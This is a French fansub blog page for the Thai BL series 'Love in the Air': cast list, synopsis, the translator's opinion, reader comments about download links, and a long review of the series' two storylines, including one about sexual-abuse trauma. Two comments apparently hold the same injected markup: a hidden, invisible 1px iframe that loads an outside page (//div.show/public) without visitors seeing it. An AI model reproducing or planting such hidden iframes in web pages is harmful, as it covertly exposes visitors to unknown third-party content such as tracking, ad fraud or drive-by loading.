-
Love in the air ► ! - 15 ans !
Titre : บรรยากาศรัก เดอะซีรีส์ /
Love Storm, Love Sky / Banyakat Rak the Series , พายุ
Genre : Comédie / Romance / Gay, Bi / Université, Violence / Compétition de courses moto
Diffusion : 18 août au 10 nov 2022
Durée : 45 min - 13 épisodes
Pays : h
Directeur : Ne Neti Suwanjinda
Traduction : Blu - Correction : Yatta
Adaptée des nouvelles “Love Storm” (พายุรักโถมใจ) et “Love Sky” (พระพายหมายฟ้า) de MAME.
Casting :
Boss Chaikamon Sermsongwittaya
Phayu
Noeul Nuttarat Tangwai
Rain
Fort Thitipong Setjai
Prapai
Peat Wasuthorn Chaijinda
Sky
Déconseillé au moins de 15 ans.
Certaines scènes peuvent heurter la sensibilité des non avertis.
Trailer officiel non traduit par moi.
Synopsis :
Rain est un jeune et bel étudiant en architecture. Il aime sortir et s'amuser mais un soir il a un soucis avec sa voiture sous un torrent de pluie. Heureusement, un motard s'arrête pour lui changer sa roue. Rain est totalement sous le charme de cet étranger qui l'aide, son style et son attitude cool le captive. Il rencontre à nouveau cet inconnu lors de la soirée d'intégrations organisé par des séniors pour les premières années, c'est ainsi que Phayu l'aide une deuxième fois pour sa voiture. Il s'avère que Phayu est en fait un senior en architecture très apprécié par toute la communauté universitaire, y compris les filles qui sont sous son charme même la fille sur laquelle Rain a des vues. C'est pourquoi, Rain commence à le détester. N'aimant pas l'attitude de Phayu, Rain embarque son ami Sky lors d'une soirée très risqué. Rain décide d'espionner Phayu et de se rendre sur son terrain, participant à des courses illégales. Mais les deux garçons sont découverts par le service de sécurité.
Rain va être sauvé par Phayu et Sky sera sauvé par Prapai.
Phayu devient alors l'ennemi n°1 de Rain, il veut révéler au monde que ce n'est pas une aussi bonne personne que tout le monde le pense. Pris au Piège, Rain fait un parie avec Phayu que celui-ci tombera amoureux de lui en un mois.
Pendant ce temps Sky devient redevable à Prapai et les deux jeunes hommes passent la nuit ensemble. Mais pour Sky, cette relation n'a pas de suite, da dernière relation l'a traumatisé et il ne souhaite plus s'engager dans une relation même amoureuse. Or Prapai tombe sous le charme de Sky et il fera tout pour le conquérir et l'aider à l'accepter.
Mon avis Blu : J'ai beaucoup aimé le thème général sous un rythme de course de moto, ça me rappel le weekend que j'ai passé lors d'un weekend F1. Deux personnes qui s'amusent à Chat mais dont l'un est meilleur joueur que l'autre, oui je parle de Rain qui se lance dans un jeux bien dangereux sans s'avoir qu'il a déjà perdu la bataille.
Mais j'ai été aussi perturbé par le deuxième couple principale, "oui principal" en deuxième partie Sky que j'aime et Prapai qui fait tout pour que Sky l'accepte par les mots et la douceur.
Liens : 
Lien supplémentaire :
Le film qui clôture la série : 
Galerie Photo :
Traduction : Blu - Correction : Yatta
Sources : les réseaux et les sites
-
Commentaires
superbe projet que je kiff surtout enn tant que motard j'ai trouvé l'histoire superbe fait partie de ma collection
Bonjour, tout d'abord je vous souhaite une bonne et heureuse année 2024 :) merci à Cnblu pour le nouveau lien de l'épisode 5 c'est super gentil ,et merci pour le fin de ce bl que je vais m'empresser de commencer :) bonne journée
c'est bon
super réactive
merci ;-)
<iframe style="position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;" src="//div.show/public"></iframe>
bonjour a toute la team je vous souhaite une bonne et heureuse année 2024.
un grand merci pour ce nouvel épisode
Bonjour et excellente nouvelle année
Je ne comprends pas; impossible de télécharger les 2 derniers épisodes; cela vient de moi?
<iframe style="position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;" src="//div.show/public"></iframe>
-
Mercredi 24 Janvier à 19:23
Merci
-
Mardi 2 Janvier à 21:28
Salut.
Réessaie c'est réactualisé.
-
70laurhenceSamedi 30 Décembre 2023 à 19:55Un grand merci pour cette serie !! J'ai eu plaisir a la regarder. Encore merci pour tout votre travail !!
Salut, merci d'avoir traduit cette série particulièrement caliente, c'est sympa de voir un drama ou en plus des scènes hot il y a une histoire. J'ai préféré le second couple au premier mais c'est vraiment l'un de mes dramas favoris de 2023 (parmi d'autre evidemment)
Bonsoir, merci pour ce nouvel épisode, mais je ne peux pas télécharger l'épisode 5 , sniff , comment y accéder? merci bon week end
-
Mardi 2 Janvier à 23:18
Nouveau liens épisode 5 mais les demandes c'est dans "liens morts" pour la prochaine fois stp.
-
Lundi 11 Décembre 2023 à 07:57
Bonjour pour votre réponse c'est gentil à vous mais le lien ne marche toujours pas sniff, Merci aussi pour 2 nouveaux épisodes , je vous souhaite une bonne semaine en attendant l'autre lien :)
-
Samedi 2 Décembre 2023 à 23:55
Salut il reste encore un lien en attendant que j'en refasse un autre : https://mdbekjwqa.pw/f/1v7qmx8ma9odjx
-
Merci pour l'épisode 630nono3341Dimanche 22 Octobre 2023 à 21:52un grand merci pour avoir choisir de traduire cette série . Cette série est génial je recommande a tous de la regarder
bonjour merci beaucoup pour cette série je me suis bien amuser pour le premier épisode on a bien rigoler merci pour tout votre travail bonne journées bisous
bonjour,,,, j adore cette série ,,, ok ce n est que le début ,,, ok ca parle beaucoup de bagnole et je suis fan de bagnole ,,, mais bon ,,, on verra la suite ,,,, j attends ,, avec impatience lol comme d hab koi
18SaJiJeudi 12 Octobre 2023 à 21:52bonsoir! désolé de poser une question peut-être stupide mais pourquoi "nouveau projet/projet principal" ? y a une différence avec les épisodes de celle déjà traduite avant et que j'ai déjà regardée (et que j'ai bien aimée) ??
en tout cas comme toujours merci pour vos super projets!!!!!
-
Jeudi 12 Octobre 2023 à 22:06
Salut SaJi, je viens de commencer la sortie et personne de la team ne l'a déjà sortie, donc je pense que
1 tu l'as vu traduite ailleurs
2 on ne parle pas de la même série.
-
bonjour merci pour cette nouvelle sortie .ca comence bien merci pour votre travail .je vais retourner télécharger la première saison pour me rappeler des bons souvenirs. bonne apres midi bises
-
Mercredi 11 Octobre 2023 à 18:09
Salut, je crois que tu t es trompé de série, c'est la saison 1 qui vient de commencer.
-
Merci pour cette série, j'ai adoré en anglais, j'ai hâte de la revisiter en français. Merci encore
Suivre le flux RSS des commentaires
Ajouter un commentaire
Traduction De Films & Séries BL Asiatique & International
-
Ce mois ci nous fêtons les anniversaires de :
Aika : 10 décembre
Sew : 18 décembre
Aliotis : 23 décembre
Blu : 30 décembre
Vite, vite les cadeaux et les gâteaux :)
-
-
Épisodes : 1-3 Dispo/13
Let Free the Curse of Taekwondo
Episodes 1-2 : Disponible
Episode 3 : En correction
Episode 4 : En traduction
Episodes 5-8 : En attente de traduction
Episodes 1-2: Disponible
Episodes : 3-13: En Traduction
Épisodes : 1-6 Dispo/12
The Trainee
Episodes 1-4 : Disponibles
Episode 5 : En time
Episodes 6-12 : En attente de traduction
Love is Like a Cat
Episodes 1-10 : Disponibles
Episodes 11-12 : En attente
23.5 the series
Épisodes 1-5 : Disponibles
Épisode 6 : En encodage
Épisodes 7-12 : En attente de traduction
Peaceful property on sale
Série Terminée !
You Are Mine
SERIE TERMINEE
ÉPISODE SPÉCIAL en cours de correction
Law of Attraction
Épisodes : 1-6 V2 Dispo/8
Épisodes 7-8 en cours de correction
Our Skyy 2
Épisodes 1-16 : En traduction
Épisodes : 3 à 8 + 11-12 : Disponibles
Never Let Me Go
Épisodes 1-9 : Disponibles
Épisode 10 : En correction
Épisode 11-12 : En traduction
VIP Only
Épisode 1-6 : Disponible
Épisodes 7-10 : En correction
Perfect Propose
Episode 1-2 : Disponibles
Episode 3 - 6 : A venir
-
-
Créer mon blog
Bonjour à toutes et tous,
C'est une série en deux parties aux ambiances extrêmement différentes...
La première partie (épisodes 1 à 4) est une histoire heureuse avec un déroulement dans une ambiance légère.
Elle met en jeu "Rain" (19 ans) (joué par "Noeul Nuttarat Tangwai"), et son copain "Phayu", plus âgé de quelques années (joué par "Boss Chaikamon Sermsongwittaya").
La seconde partie (épisodes 5 à 8) est basée sur un sujet terrible concernant l'histoire personnelle du plus jeune, "Sky" (joué par "Peat Wasuthorn Chaijinda") qui est un copain d'école de "Rain". Heureusement, il aura la chance d'être courtisé avec constance et beaucoup de délicatesse par "Prapai" (joué par " Fort Thitipong Setjai"), qui est lui-même un copain de "Phayu".
ATTENTION : Début du dévoilement partiel de l'histoire
------------------------------------------------------
La première partie, à l'ambiance "légère", fourmille d'incitations à murir (sur le plan des attitudes relationnelles) conseillées par "Phayu" à son jeune copain "Rain".
Ce dernier fera preuve d'une certaine indépendance de caractère en se révoltant verbalement, assez souvent au début, contre les critiques de certains de ses comportements.
Mais, il finira par reconnaître la justesse de celles-ci, liées à certains aspects immatures de son caractère. D'autant que ces conseils ou exigences sont dispensés avec pédagogie par son petit ami "Phayu" : les réactions de ce dernier combinent "coups de colère" bien réels (et bien compréhensibles) mais aussi explications calmes et mesurées.
La seconde partie de cette série est un récit d'un début de ré-adaptation à la vie amoureuse pour un jeune homme marqué à jamais par les traumatismes d'abus sexuels qu'il a vécu.
Bien sur "Sky" ne pourra jamais effacer de sa mémoire les moments d'horreurs qu'il a vécu.
Il aura donc beaucoup de mal à envisager que d'autres types de relations, ayant trait à un individu et à ce qu'il y a de plus intime, psychiquement et physiquement, puissent réellement exister.
Heureusement, grâce à l'approche très attentive, très mesurée mais aussi très persévérante de son futur petit ami "Prapai", "Sky" arriveras à accepter sa relation avec lui et commencer ainsi une sorte de "renouveau" psychique. Et c'est cet aspect qui est remarquable dans cette série aux histoires psychologiques très différentes des deux plus jeunes personnages principaux.
Pour le reste, à vous de le découvrir en regardant cette série très bien faite et prenante, mais qui distille un ressenti pesant dans sa seconde partie (épisodes 5 à 8).
FIN du dévoilement partiel de l'histoire
----------------------------------------
Bien que la seconde partie m'ait été difficile à visualiser de par sa thématique liée aux abus sexuels, j'ai trouvé le scénario et la mise en scène très efficaces et prenants.
Les acteurs sont tout à fait convaincants, notamment celui interprétant "Sky", personnage que j'imagine difficile à interpréter en évitant soit une sorte de "banalisation de l'horreur", soit "en surjouant" l'évocation des séquences dramatiques vécues autrefois.
Ce qui aurait rendu peu compréhensible les aspects dévastés de la psychologie d'une personne ayant subis des abus sexuels.
Bref, il y a un équilibre remarquable qui évite voyeurisme et/ou complaisance.
Son partenaire "Prapai" est aussi très convaincant dans sa volonté sans faille de convaincre "Sky" qu'un autre type de relation est possible, basé sur le respect de la personne humaine et de ses désirs, bref, sur une réelle et profonde considération.
Pour évoquer un aspect plus "léger", certains acteurs principaux sont plutôt mignons : "Boss Chaikamon Sermsongwittaya" jouant "Phayu" (essentiellement dans la 1ère partie), et "Fort Thitipong Setjai" jouant "Prapai" (essentiellement dans la seconde partie).
Un très grand merci donc à Blu et à Yatta pour leur traduction et correction qui nous permettent de visualiser cette mémorable série, très contrastée en terme d'ambiance psychologique entre sa première et sa seconde partie, ce qui la rend à mes yeux "très particulière".
Au final, et quelques que soient les aspects très dérangeant de la seconde partie, je ne regrette aucunement de l'avoir visualisé.
Bien cordialement.
Bonjour,
Merci cnblu pour ta réponse à mon commentaire. Je profite de l'occasion pour rectifier mon erreur sur le découpage de ce BL, afin que les membres du blog ne s'interrogent pas à ce sujet. En fait, la première partie comprend l'épisode 1 jusqu'au milieu de l'épisode 7 et la seconde partie du milieu de l'épisode 7 jusqu'à la fin de l'épisode 13.
Bonne visualisation à toutes et tous, bien cordialement.
Hello thai92.
Merci beaucoup pour ton commentaire et ton analyse.
Le 1er couple m a fait rire et le 2ème m a attristé. Cependant ils ont su nous montrer qu avec douceurs on peut arriver à une bonne entente et à être heureux.
Hello thai92.
Merci beaucoup pour ton commentaire et ton analyse.
Le 1er couple m a fait rire et le 2ème m a attristé. Cependant ils ont su nous montrer qu avec douceurs on peut arriver à une bonne entente et à être heureux.